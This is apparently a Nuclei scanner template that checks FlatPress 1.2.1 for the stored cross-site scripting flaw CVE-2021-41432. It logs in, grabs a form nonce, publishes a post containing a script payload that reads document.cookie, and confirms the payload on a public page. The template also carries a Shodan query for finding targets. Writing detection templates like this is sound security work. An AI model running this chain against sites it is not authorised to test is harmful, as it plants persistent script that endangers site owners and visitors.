id: CVE-2021-41432

info:
  name: FlatPress 1.2.1 - Cross-site scripting
  author: arafatansari
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability exists in FlatPress 1.2.1 that allows for arbitrary execution of JavaScript commands through blog content.
  reference:
    - https://github.com/flatpressblog/flatpress/issues/88
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41432
  classification:
    cve-id: CVE-2021-41432
  metadata:
    verified: true
    shodan-query: http.html:"Flatpress"
  tags: cve,cve2021,flatpress,xss,authenticated,oss

requests:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp

        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundarykGJmx9vKsePrMkVp--

      - |
        GET /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish

      - |
        GET /index.php/2022/10 HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body_4, '<p><script>alert(document.cookie)</script></p>')"
          - "contains(body_4, 'FlatPress')"
          - "contains(all_headers_4, 'text/html')"
          - "status_code_4 == 200"
        condition: and

    extractors:
      - type: regex
        internal: true
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'